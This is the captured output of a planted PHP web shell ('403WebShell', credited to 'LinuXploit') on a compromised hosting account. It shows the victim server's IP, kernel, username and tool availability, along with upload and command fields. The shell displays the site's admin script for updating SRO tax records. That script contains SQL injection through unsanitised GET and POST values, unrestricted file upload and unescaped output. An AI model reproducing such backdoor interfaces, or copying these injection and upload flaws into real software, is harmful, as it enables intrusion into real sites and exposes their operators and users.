ÿØÿà JPEG ÿþ; 403WebShell
403Webshell
Server IP : 68.65.120.201  /  Your IP : 216.73.216.73
Web Server : LiteSpeed
System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : taxhyuvu ( 2294)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/taxhyuvu/public_html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/taxhyuvu/public_html/admin/updatesro.php
<?php $id=$_GET['id'];
// echo"$id";
include "db.php";
$ddc="SELECT * FROM `sro` WHERE `id`=$id";
$daa=mysqli_query($con,$ddc);
$dtt=mysqli_fetch_assoc($daa);
// print_r($dtt);
?>

<?php
Session_start();
 if(isset($_SESSION['adminlogedin']) && $_SESSION['adminlogedin']==true) { 
    
    $email= $_SESSION['Email_Address03092372779'];
    $user= $_SESSION['user03092372779'];

?>

<!DOCTYPE html>
<html lang="en">
<head>
  <title><?php echo" (Up Ordinance)";?></title>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/css/bootstrap.min.css" rel="stylesheet">
  <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/js/bootstrap.bundle.min.js"></script>
</head>
<body>
<Style>
    .form-control:focus {
    color: #212529;
    background-color: #fff;
    border-color: #b7d0f5;
    outline: 0;
    box-shadow: 0 0 0 0.25rem rgba(79, 80, 80, 0.247);
}

 .btn-primary{    background: #009bad;
    border: #0a9eb0;}
    .btn:hover {
    color: var(--bs-btn-hover-color);
    background-color: #98a0a4;
    border-color: #98a0a4;
}
    .head{width: 100%;height: ; 
    background-color: #ebebebf7;}
    .head img{width: 300px;}
.img1st{margin: 0% ;
        padding: 20px}
td{text-align: justify;
    }
    th{text-align: center;    color: #666666;
    }
*{font-family: none !important;}
p{font-size: 19px;}
</Style>
<div class=head>
    <div class="container" >
<div class="img1st">
<center>
<img src="r.png"></center>
</div>
</div>
</div>

<h1 style=" text-transform: capitalize;text-align:center; font-weight:800;
    padding: 45px;
">Update  SRO</h1>
<div class="container">
<form  method="post" style="border: 1px solid;padding: 14px;border-color: #ececec;border-radius: 9px;background: #ececec;">

<input type="date" name="datessd" placeholder="Enter Date Here" class="form-control mt-3" style=" height: 50px;font-size: 20px;" value="<?php echo$dtt['date']?>">
<input type="text" name="sron" placeholder="Enter SRO NO" class="form-control mt-3" style=" height: 50px;font-size: 20px;" value="<?php echo$dtt['sron']?>">

<input type="text" name="sub" placeholder="Enter Subject" class="form-control mt-3" style=" height: 50px;font-size: 20px;" value="<?php echo$dtt['sub']?>">
<input type="text" name="sec" placeholder="Enter Sections" class="form-control mt-3" style=" height: 50px;font-size: 20px;" value="<?php echo$dtt['sec']?>">
<select name="status" class="form-control mt-3" style=" height: 50px;font-size: 20px;" >
<option value="<?php echo$dtt['status']?> "><?php echo$dtt['status']?></option>    
<option value="active ">Active</option>
    <option value="Rescinded ">Rescinded </option>
    <option value="Supersession ">Supersession </option>
</select>
<button class="btn btn-danger mt-3" type="submit" name="gosub"style="width:100%;     background: #04a3b4;
    border: 1px solid;
    font-weight: 900;height: 50px;
    font-size: 20px;
    border-color: #04a3b4;" >Update </button></form>


<embed src="sro/<?php echo$dtt['pdf']?>" width="100%" height="500px" />
<form method="post"  enctype="multipart/form-data">
<input type="file" value="" name="pdf" placeholder="Enter Subject" class="form-control mt-3" style=" height: 50px;   font-size: 20px;">

<button class="btn btn-danger mt-3" type="submit" name="ordgo"style="width:100%;     background: #04a3b4;
    border: 1px solid;
    font-weight: 900;height: 50px;
    font-size: 20px;
    border-color: #04a3b4;" >Uplaod PDF</button>


</div>
</form><a href="drop?iddsss=<?php echo $id?>"><button class="btn btn-danger mt-3" style="width:100%;">Delete</button></a>
    
<?php
if(isset($_POST['gosub'])){
   
    $dates =$_POST['datessd'];  
    // $newDate = date("d-m-Y", strtotime($dates));

    $sub=$_POST['sub'];
    $status=$_POST['status'];
    $sron=$_POST['sron'];
    $sec=$_POST['sec'];
    $pti="UPDATE `sro` SET `date`='$dates',`sron`='$sron',`sec`='$sec',`sub`='$sub',`status`='$status' WHERE `id` = '$id'";
$date=mysqli_query($con,$pti);
if($date == true){

    echo '<script>
    alert("Your Data Has Been Updated!");
    </script>';
    
           if($id == "Income tax"){header('location:sro.php?tax=Income%20tax');}
        elseif($id =="Sales tax"){header('location:sro.php?tax=Sales%20tax');}
        elseif($id =="Federal Excise"){header('location:sro.php?tax=Federal%20Excise');}
        elseif($id =="Customs"){header('location:sro.php?tax=Customs');}
        else{header('location:index');}

}

}

?>

<?php

if(isset($_POST['ordgo'])){
       
        $location= "sro/";
        $pdf = $_FILES['pdf']['name'];
      $pdf_tmp6 = $_FILES['pdf']['tmp_name'];
      move_uploaded_file($pdf_tmp6, $location.$pdf);
       $fdp="SELECT * FROM `stgos` WHERE `PDF` ='$pdf'";   
      $pdfrun=mysqli_query($con,$fdp);
      $countp=mysqli_num_rows($pdfrun);
         if ($countp == "1") {
          echo '<script>
        alert("Kindly Change Your File Name");
        </script>';
         }else{
      
      $hero="UPDATE `sro` SET `pdf`='$pdf' WHERE `id` = $id";
         
      $data=mysqli_query($con,$hero);
         }
if( $data== 1){



    echo '<script>
  alert("Your File Has Been Updated!");
  </script>';

         if($id == "Income tax"){header('location:sro.php?tax=Income%20tax');}
        elseif($id =="Sales tax"){header('location:sro.php?tax=Sales%20tax');}
        elseif($id =="Federal Excise"){header('location:sro.php?tax=Federal%20Excise');}
        elseif($id =="Customs"){header('location:sro.php?tax=Customs');}
        else{header('location:index');}
  

}
    }

?>

<?php } 
else{ echo '<script>window.open("login", "_self")</script>'; } ?>

Youez - 2016 - github.com/yon3zu
LinuXploit